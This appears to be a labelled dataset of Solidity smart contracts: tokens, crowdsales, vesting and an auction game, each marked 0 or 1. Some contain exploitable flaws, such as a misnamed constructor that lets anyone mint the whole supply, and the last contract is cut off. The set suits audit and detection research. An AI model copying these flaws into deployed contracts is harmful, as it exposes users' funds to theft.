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pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract SynchroCoin is Ownable, StandardToken {
string public constant symbol = "SYC";
string public constant name = "SynchroCoin";
uint8 public constant decimals = 12;
uint256 public STARTDATE;
uint256 public ENDDATE;
uint256 public crowdSale;
address public multisig;
function SynchroCoin(
uint256 _initialSupply,
uint256 _start,
uint256 _end,
address _multisig) {
totalSupply = _initialSupply;
STARTDATE = _start;
ENDDATE = _end;
multisig = _multisig;
crowdSale = _initialSupply * 55 / 100;
balances[multisig] = _initialSupply;
}
uint256 public totalFundedEther;
uint256 public totalConsideredFundedEther = 338;
mapping (address => uint256) consideredFundedEtherOf;
mapping (address => bool) withdrawalStatuses;
function calcBonus() public constant returns (uint256){
return calcBonusAt(now);
}
function calcBonusAt(uint256 at) public constant returns (uint256){
if (at < STARTDATE) {
return 140;
}
else if (at < (STARTDATE + 1 days)) {
return 120;
}
else if (at < (STARTDATE + 7 days)) {
return 115;
}
else if (at < (STARTDATE + 14 days)) {
return 110;
}
else if (at < (STARTDATE + 21 days)) {
return 105;
}
else if (at <= ENDDATE) {
return 100;
}
else {
return 0;
}
}
function() public payable {
proxyPayment(msg.sender);
}
function proxyPayment(address participant) public payable {
require(now >= STARTDATE);
require(now <= ENDDATE);
require(msg.value >= 100 finney);
totalFundedEther = totalFundedEther.add(msg.value);
uint256 _consideredEther = msg.value.mul(calcBonus()).div(100);
totalConsideredFundedEther = totalConsideredFundedEther.add(_consideredEther);
consideredFundedEtherOf[participant] = consideredFundedEtherOf[participant].add(_consideredEther);
withdrawalStatuses[participant] = true;
Fund(
participant,
msg.value,
totalFundedEther
);
multisig.transfer(msg.value);
}
event Fund(
address indexed buyer,
uint256 ethers,
uint256 totalEther
);
function withdraw() public returns (bool success){
return proxyWithdraw(msg.sender);
}
function proxyWithdraw(address participant) public returns (bool success){
require(now > ENDDATE);
require(withdrawalStatuses[participant]);
require(totalConsideredFundedEther > 1);
uint256 share = crowdSale.mul(consideredFundedEtherOf[participant]).div(totalConsideredFundedEther);
participant.transfer(share);
withdrawalStatuses[participant] = false;
return true;
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(now > ENDDATE);
return super.transfer(_to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount) public
returns (bool success)
{
require(now > ENDDATE);
return super.transferFrom(_from, _to, _amount);
}
} | 0 | 1,218 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
emit Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
} | 0 | 1,527 |
pragma solidity ^0.4.21 ;
contract PI_FGCR_T22 {
mapping (address => uint256) public balanceOf;
string public name = " PI_FGCR_T22 " ;
string public symbol = " BIPII " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 100000000000000000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | 1 | 3,987 |
pragma solidity ^0.4.17;
contract OracleBase {
function getRandomUint(uint max) public returns (uint);
function getRandomForContract(uint max, uint index) public view returns (uint);
function getEtherDiceProfit(uint rate) public view returns (uint);
function getRandomUint256(uint txId) public returns (uint256);
function getRandomForContractClanwar(uint max, uint index) public view returns (uint);
}
contract ContractOwner {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Etherauction is ContractOwner {
using SafeMath for uint256;
constructor() public payable {
owner = msg.sender;
gameId = 1;
gameStartTime = block.timestamp;
gameLastAuctionMoney = 10**15;
gameLastAuctionTime = block.timestamp;
gameSecondLeft = _getInitAuctionSeconds();
}
function adminAddMoney() public payable {
reward = reward + msg.value * 80 / 100;
nextReward = nextReward + msg.value * 20 / 100;
}
function addAuctionReward() public payable {
reward = reward + msg.value;
}
uint256 gameId;
uint256 gameStartTime;
uint256 gameLastAuctionTime;
uint256 gameLastAuctionMoney;
uint256 gameSecondLeft;
uint256 reward;
uint256 dividends;
uint256 nextReward;
uint256 dividendForDev;
OracleBase oracleAPI;
function setOracleAPIAddress(address _addr) public onlyOwner {
oracleAPI = OracleBase(_addr);
}
uint rollCount = 100;
function getRandom() internal returns (uint256) {
rollCount = rollCount + 1;
return oracleAPI.getRandomForContract(100, rollCount);
}
function _inMoney(uint _m) internal {
dividends = dividends + _m * 7 / 100;
dividendForDev = dividendForDev + _m * 2 / 100;
reward = reward + _m * 2 / 100;
nextReward = nextReward + _m * 4 / 100;
}
function _startNewRound(address _addr) internal {
reward = nextReward * 80 / 100;
nextReward = nextReward * 20 / 100;
gameId = gameId + 1;
dividends = 0;
gameStartTime = block.timestamp;
gameLastAuctionTime = block.timestamp;
uint256 price = _getMinAuctionStartPrice();
reward = reward.sub(price);
PlayerAuction memory p;
gameAuction[gameId].push(p);
gameAuction[gameId][0].addr = _addr;
gameAuction[gameId][0].money = price;
gameAuction[gameId][0].bid = price;
gameAuction[gameId][0].refunded = false;
gameAuction[gameId][0].dividended = false;
gameLastAuctionMoney = price;
gameSecondLeft = _getInitAuctionSeconds();
emit GameAuction(gameId, _addr, price, price, gameSecondLeft, block.timestamp);
}
function adminPayout() public onlyOwner {
owner.transfer(dividendForDev);
dividendForDev = 0;
}
struct GameData {
uint256 gameId;
uint256 reward;
uint256 dividends;
}
struct PlayerAuction {
address addr;
uint256 money;
uint256 bid;
bool refunded;
bool dividended;
}
mapping(uint256 => PlayerAuction[]) gameAuction;
GameData[] gameData;
event GameAuction(uint indexed gameId, address player, uint money, uint auctionValue, uint secondsLeft, uint datetime);
event GameRewardClaim(uint indexed gameId, address indexed player, uint money);
event GameRewardRefund(uint indexed gameId, address indexed player, uint money);
event GameEnd(uint indexed gameId, address indexed winner, uint money, uint datetime);
function getMinAuctionValue() public view returns (uint256) {
uint256 gap = _getGameAuctionGap();
uint256 auctionValue = gap + gameLastAuctionMoney;
return auctionValue;
}
function auction() public payable {
bool ended = (block.timestamp > gameLastAuctionTime + gameSecondLeft) ? true: false;
if (ended) {
revert('this round end!!!');
}
uint256 len = gameAuction[gameId].length;
if (len > 1) {
address bidder = gameAuction[gameId][len - 1].addr;
if (msg.sender == bidder)
revert("wrong action");
}
uint256 gap = _getGameAuctionGap();
uint256 auctionValue = gap + gameLastAuctionMoney;
uint256 maxAuctionValue = 3 * gap + gameLastAuctionMoney;
if (msg.value < auctionValue) {
revert("wrong eth value!");
}
if (msg.value >= maxAuctionValue) {
auctionValue = maxAuctionValue;
} else {
auctionValue = msg.value;
}
gameLastAuctionMoney = auctionValue;
_inMoney(auctionValue);
gameLastAuctionTime = block.timestamp;
uint256 random = getRandom();
gameSecondLeft = random * (_getMaxAuctionSeconds() - _getMinAuctionSeconds()) / 100 + _getMinAuctionSeconds();
PlayerAuction memory p;
gameAuction[gameId].push(p);
gameAuction[gameId][gameAuction[gameId].length - 1].addr = msg.sender;
gameAuction[gameId][gameAuction[gameId].length - 1].money = msg.value;
gameAuction[gameId][gameAuction[gameId].length - 1].bid = auctionValue;
gameAuction[gameId][gameAuction[gameId].length - 1].refunded = false;
gameAuction[gameId][gameAuction[gameId].length - 1].dividended = false;
emit GameAuction(gameId, msg.sender, msg.value, auctionValue, gameSecondLeft, block.timestamp);
}
function claimReward(uint256 _id) public {
_claimReward(msg.sender, _id);
}
function _claimReward(address _addr, uint256 _id) internal {
if (_id == gameId) {
bool ended = (block.timestamp > gameLastAuctionTime + gameSecondLeft) ? true: false;
if (ended == false)
revert('game is still on, cannot claim reward');
}
uint _reward = 0;
uint _dividends = 0;
uint _myMoney = 0;
uint _myDividends = 0;
uint _myRefund = 0;
uint _myReward = 0;
bool _claimed = false;
(_myMoney, _myDividends, _myRefund, _myReward, _claimed) = _getGameInfoPart1(_addr, _id);
(_reward, _dividends) = _getGameInfoPart2(_id);
if (_claimed)
revert('already claimed!');
for (uint k = 0; k < gameAuction[_id].length; k++) {
if (gameAuction[_id][k].addr == _addr) {
gameAuction[_id][k].dividended = true;
}
}
_addr.transfer(_myDividends + _myRefund + _myReward);
emit GameRewardClaim(_id, _addr, _myDividends + _myRefund + _myReward);
}
function refund() public {
uint256 len = gameAuction[gameId].length;
if (len > 1) {
if (msg.sender != gameAuction[gameId][len - 2].addr
&& msg.sender != gameAuction[gameId][len - 1].addr) {
uint256 money = 0;
for (uint k = 0; k < gameAuction[gameId].length; k++) {
if (gameAuction[gameId][k].addr == msg.sender && gameAuction[gameId][k].refunded == false) {
money = money + gameAuction[gameId][k].bid * 85 / 100 + gameAuction[gameId][k].money;
gameAuction[gameId][k].refunded = true;
}
}
msg.sender.transfer(money);
emit GameRewardRefund(gameId, msg.sender, money);
} else {
revert('cannot refund because you are no.2 bidder');
}
}
}
function gameRoundEnd() public {
bool ended = (block.timestamp > gameLastAuctionTime + gameSecondLeft) ? true: false;
if (ended == false)
revert("game cannot end");
uint256 len = gameAuction[gameId].length;
address winner = gameAuction[gameId][len - 1].addr;
GameData memory d;
gameData.push(d);
gameData[gameData.length - 1].gameId = gameId;
gameData[gameData.length - 1].reward = reward;
gameData[gameData.length - 1].dividends = dividends;
_startNewRound(msg.sender);
_claimReward(msg.sender, gameId - 1);
emit GameEnd(gameId - 1, winner, gameData[gameData.length - 1].reward, block.timestamp);
}
function getCurrCanRefund() public view returns (bool) {
if (gameAuction[gameId].length > 1) {
if (msg.sender == gameAuction[gameId][gameAuction[gameId].length - 2].addr) {
return false;
} else if (msg.sender == gameAuction[gameId][gameAuction[gameId].length - 1].addr) {
return false;
}
return true;
} else {
return false;
}
}
function getCurrGameInfo() public view returns (uint256 _gameId,
uint256 _reward,
uint256 _dividends,
uint256 _lastAuction,
uint256 _gap,
uint256 _lastAuctionTime,
uint256 _secondsLeft,
uint256 _myMoney,
uint256 _myDividends,
uint256 _myRefund,
bool _ended) {
_gameId = gameId;
_reward = reward;
_dividends = dividends;
_lastAuction = gameLastAuctionMoney;
_gap = _getGameAuctionGap();
_lastAuctionTime = gameLastAuctionTime;
_secondsLeft = gameSecondLeft;
_ended = (block.timestamp > _lastAuctionTime + _secondsLeft) ? true: false;
uint256 _moneyForCal = 0;
if (gameAuction[gameId].length > 1) {
uint256 totalMoney = 0;
for (uint256 i = 0; i < gameAuction[gameId].length; i++) {
if (gameAuction[gameId][i].addr == msg.sender && gameAuction[gameId][i].dividended == true) {
}
if (gameAuction[gameId][i].addr == msg.sender && gameAuction[gameId][i].refunded == false) {
if ((i == gameAuction[gameId].length - 2) || (i == gameAuction[gameId].length - 1)) {
_myRefund = _myRefund.add(gameAuction[gameId][i].money).sub(gameAuction[gameId][i].bid);
} else {
_myRefund = _myRefund.add(gameAuction[gameId][i].money).sub(gameAuction[gameId][i].bid.mul(15).div(100));
}
_myMoney = _myMoney + gameAuction[gameId][i].money;
_moneyForCal = _moneyForCal.add((gameAuction[gameId][i].money.div(10**15)).mul(gameAuction[gameId][i].money.div(10**15)).mul(gameAuction[gameId].length + 1 - i));
}
if (gameAuction[gameId][i].refunded == false) {
totalMoney = totalMoney.add((gameAuction[gameId][i].money.div(10**15)).mul(gameAuction[gameId][i].money.div(10**15)).mul(gameAuction[gameId].length + 1 - i));
}
}
if (totalMoney != 0)
_myDividends = _moneyForCal.mul(_dividends).div(totalMoney);
}
}
function getGameDataByIndex(uint256 _index) public view returns (uint256 _id, uint256 _reward, uint256 _dividends) {
uint256 len = gameData.length;
if (len >= (_index + 1)) {
GameData memory d = gameData[_index];
_id = d.gameId;
_reward = d.reward;
_dividends = d.dividends;
}
}
function getGameInfo(uint256 _id) public view returns (uint256 _reward, uint256 _dividends, uint256 _myMoney, uint256 _myDividends, uint256 _myRefund, uint256 _myReward, bool _claimed) {
(_reward, _dividends) = _getGameInfoPart2(_id);
(_myMoney, _myRefund, _myDividends, _myReward, _claimed) = _getGameInfoPart1(msg.sender, _id);
}
function _getGameInfoPart1(address _addr, uint256 _id) internal view returns (uint256 _myMoney, uint256 _myRefund, uint256 _myDividends, uint256 _myReward, bool _claimed) {
uint256 totalMoney = 0;
uint k = 0;
if (_id == gameId) {
} else {
for (uint256 i = 0; i < gameData.length; i++) {
GameData memory d = gameData[i];
if (d.gameId == _id) {
if (gameAuction[d.gameId].length > 1) {
if (gameAuction[d.gameId][gameAuction[d.gameId].length - 1].addr == _addr) {
_myReward = d.reward;
_myReward = _myReward + gameAuction[d.gameId][gameAuction[d.gameId].length - 2].bid;
}
totalMoney = 0;
uint256 _moneyForCal = 0;
for (k = 0; k < gameAuction[d.gameId].length; k++) {
if (gameAuction[d.gameId][k].addr == _addr && gameAuction[d.gameId][k].dividended == true) {
_claimed = true;
}
if (gameAuction[d.gameId][k].addr == _addr && gameAuction[d.gameId][k].refunded == false && k != (gameAuction[d.gameId].length - 2)) {
_myRefund = _myRefund.add( gameAuction[d.gameId][k].money.sub( gameAuction[d.gameId][k].bid.mul(15).div(100) ) );
_moneyForCal = _moneyForCal.add( (gameAuction[d.gameId][k].money.div(10**15)).mul( gameAuction[d.gameId][k].money.div(10**15) ).mul( gameAuction[d.gameId].length + 1 - k) );
_myMoney = _myMoney.add(gameAuction[d.gameId][k].money);
}
if (gameAuction[d.gameId][k].refunded == false && k != (gameAuction[d.gameId].length - 2)) {
totalMoney = totalMoney.add( ( gameAuction[d.gameId][k].money.div(10**15) ).mul( gameAuction[d.gameId][k].money.div(10**15) ).mul( gameAuction[d.gameId].length + 1 - k) );
}
}
if (totalMoney != 0)
_myDividends = d.dividends.mul(_moneyForCal).div(totalMoney);
}
break;
}
}
}
}
function _getGameInfoPart2(uint256 _id) internal view returns (uint256 _reward, uint256 _dividends) {
if (_id == gameId) {
} else {
for (uint256 i = 0; i < gameData.length; i++) {
GameData memory d = gameData[i];
if (d.gameId == _id) {
_reward = d.reward;
_dividends = d.dividends;
break;
}
}
}
}
function _getGameStartAuctionMoney() internal pure returns (uint256) {
return 10**15;
}
function _getGameAuctionGap() internal view returns (uint256) {
if (gameLastAuctionMoney < 10**18) {
return 10**15;
}
uint256 n = 17;
for (n = 18; n < 200; n ++) {
if (gameLastAuctionMoney >= 10**n && gameLastAuctionMoney < 10**(n + 1)) {
break;
}
}
return 10**(n-2);
}
function _getMinAuctionSeconds() internal pure returns (uint256) {
return 30 * 60;
}
function _getMaxAuctionSeconds() internal pure returns (uint256) {
return 12 * 60 * 60;
}
function _getInitAuctionSeconds() internal pure returns (uint256) {
return 3 * 24 * 60 * 60;
}
function _getMinAuctionStartPrice() internal view returns (uint256) {
if (reward < 10**18) {
return 10**15;
}
uint256 n = 17;
for (n = 18; n < 200; n ++) {
if (reward >= 10**n && reward < 10**(n + 1)) {
break;
}
}
return 10**(n-2);
}
} | 0 | 1,300 |
pragma solidity ^0.4.11;
interface token
{
function transfer(address _to, uint256 _value);
function transferFrom(address _from, address _to, uint256 _value);
function approve(address _spender, uint256 _value);
function allowance(address _owner, address _spender) constant returns(uint256 remaining);
function getBalanceOf(address _who) returns(uint256 amount);
}
contract DCY_preICO
{
string public name = 'CONTRACT DICEYBIT.COM preICO';
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
uint256 public tokensLeft;
mapping(address => uint256) public balanceOf;
bool public fundingGoalReached = false;
bool public crowdsaleClosed = false;
event GoalReached(address benef, uint amount);
event FundTransfer(address backer, uint amount, bool isContribution);
function DCY_preICO(
address beneficiaryAddress,
token addressOfTokenUsedAsReward,
uint fundingGoalInEthers,
uint durationInMinutes,
uint weiPrice
) {
beneficiary = beneficiaryAddress;
fundingGoal = fundingGoalInEthers * 1 ether;
deadline = now + durationInMinutes * 1 minutes;
price = weiPrice;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable
{
require(!crowdsaleClosed);
require(tokensLeft >= amount / price);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount / price);
FundTransfer(msg.sender, amount, true);
tokensLeft = tokenReward.getBalanceOf(address(this));
if (tokensLeft == 0)
{
crowdsaleClosed = true;
}
}
function updateTokensAvailable()
{
tokensLeft = tokenReward.getBalanceOf(address(this));
}
modifier afterDeadline()
{
if (now >= deadline) _;
}
function checkGoalReached() afterDeadline
{
if (amountRaised >= fundingGoal)
{
fundingGoalReached = true;
crowdsaleClosed = true;
GoalReached(beneficiary, amountRaised);
}
}
function safeWithdrawal() afterDeadline
{
if (!fundingGoalReached)
{
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0)
{
if (msg.sender.send(amount))
{
FundTransfer(msg.sender, amount, false);
}
else
{
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender)
{
if (beneficiary.send(amountRaised))
{
FundTransfer(beneficiary, amountRaised, false);
}
else
{
fundingGoalReached = false;
}
}
}
function bringBackTokens() afterDeadline
{
require(tokensLeft > 0);
if (msg.sender == beneficiary)
{
tokenReward.transfer(beneficiary, tokensLeft);
tokensLeft = tokenReward.getBalanceOf(address(this));
}
}
} | 0 | 160 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract FARMcoin is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "FARM";
name = "FARM coin";
decimals = 0;
_totalSupply = 1000000;
balances[0x6Ebdf04bDdbEF0e84771bfF11E2DF063533C8455] = _totalSupply;
emit Transfer(address(0), 0x6Ebdf04bDdbEF0e84771bfF11E2DF063533C8455, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,067 |
pragma solidity ^ 0.4.21;
pragma solidity ^0.4.10;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
pragma solidity ^0.4.10;
interface ERC20 {
function balanceOf(address who) view returns (uint256);
function transfer(address to, uint256 value) returns (bool);
function allowance(address owner, address spender) view returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.4.10;
interface ERC223 {
function transfer(address to, uint value, bytes data) returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
pragma solidity ^0.4.10;
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
pragma solidity ^0.4.21;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable()public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner)public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
pragma solidity ^0.4.21;
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State {
Active,
Refunding,
Closed
}
mapping(address => uint256)public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet)public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor)onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close()onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
wallet.transfer(address(this).balance);
}
function enableRefunds()onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function refund(address investor)public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
}
pragma solidity ^0.4.21;
contract BonusScheme is Ownable {
using SafeMath for uint256;
uint256 startOfFirstBonus = 1526021400;
uint256 endOfFirstBonus = (startOfFirstBonus - 1) + 5 minutes;
uint256 startOfSecondBonus = (startOfFirstBonus + 1) + 5 minutes;
uint256 endOfSecondBonus = (startOfSecondBonus - 1) + 5 minutes;
uint256 startOfThirdBonus = (startOfSecondBonus + 1) + 5 minutes;
uint256 endOfThirdBonus = (startOfThirdBonus - 1) + 5 minutes;
uint256 startOfFourthBonus = (startOfThirdBonus + 1) + 5 minutes;
uint256 endOfFourthBonus = (startOfFourthBonus - 1) + 5 minutes;
uint256 startOfFifthBonus = (startOfFourthBonus + 1) + 5 minutes;
uint256 endOfFifthBonus = (startOfFifthBonus - 1) + 5 minutes;
uint256 firstBonus = 35;
uint256 secondBonus = 30;
uint256 thirdBonus = 20;
uint256 fourthBonus = 10;
uint256 fifthBonus = 5;
event BonusCalculated(uint256 tokenAmount);
function BonusScheme() public {
}
